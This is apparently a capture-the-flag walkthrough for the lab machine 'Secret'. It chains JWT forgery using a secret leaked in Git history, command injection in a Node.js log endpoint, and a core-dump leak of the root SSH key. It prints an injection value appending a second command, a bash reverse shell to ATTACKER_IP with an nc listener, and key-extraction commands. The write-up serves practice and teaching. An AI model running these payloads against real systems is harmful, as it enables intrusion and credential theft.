Secret combines a Node.js API vulnerable to JWT manipulation and command injection with a privilege escalation vector involving a core dump leak. By extracting the JWT secret from a local Git repository, forging an admin token, and abusing a vulnerable log endpoint, a shell is obtained. Privilege escalation is achieved by triggering a core dump and extracting the root SSH private key.
Target: secret.htb
Initial vector: JWT forgery → command injection
Privilege escalation: core dump → leaked root SSH key
Nmap:
22/tcp ssh 80/tcp http (nginx) 3000/tcp Node.js (Express)
Both ports 80 and 3000 host “DUMB Docs”. The API lives under:
/api /api/user /api/priv /api/logs
Create a user:
$ curl -s -X POST http://secret.htb:3000/api/user/register \
-H "Content-Type: application/json" \
-d '{"name":"whatever","email":"whatever@whatever.com","password":"whatever123"}'
Login:
$ curl -s -X POST http://secret.htb:3000/api/user/login \
-H "Content-Type: application/json" \
-d '{"email":"whatever@whatever.com","password":"whatever123"}'
The response contains a JWT.
Decoding it on jwt.io shows the structure, but the secret is unknown.
The main website offers a downloadable files.zip.
Extract it:
$ unzip files.zip
Inside local-web/ is a Git repository:
$ git log $ git show
One commit reveals:
TOKEN_SECRET = "supersecretvalue"
Use this secret on jwt.io to forge a token for the user theadmin.
The endpoint /api/logs takes a file parameter and passes it to a shell command without sanitization.
Example test:
$ curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;whoami" \ -H "auth-token:"
To obtain a reverse shell, URL‑encode a payload:
file=/etc/passwd;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/777 0>&1'
Listener:
$ nc -nlvp 777
Trigger the request and a shell is obtained as the application user.
A binary exists at:
/opt/count
Running it shows it tries to read /root/.ssh/id_rsa.
Trigger a core dump:
$ ./count Ctrl+Z $ ps aux | grep count $ kill -BUS$ fg -> Bus error (core dumped)
Core dumps are stored in /var/crash:
$ ls -la /var/crash
Unpack the crash file:
$ apport-unpack /var/crash/.crash /tmp/dump
Extract strings:
$ strings /tmp/dump/CoreDump | grep -A5 -B5 "BEGIN OPENSSH PRIVATE KEY"
Copy the private key to your machine, save as id_rsa, and fix permissions:
$ chmod 600 id_rsa $ ssh -i id_rsa root@secret.htb
Root access obtained.
Secret combines several classic vulnerabilities: JWT forgery due to leaked secrets, command injection in a Node.js API, and a privilege escalation path through a core dump containing sensitive data. By chaining these issues, full system compromise is achieved.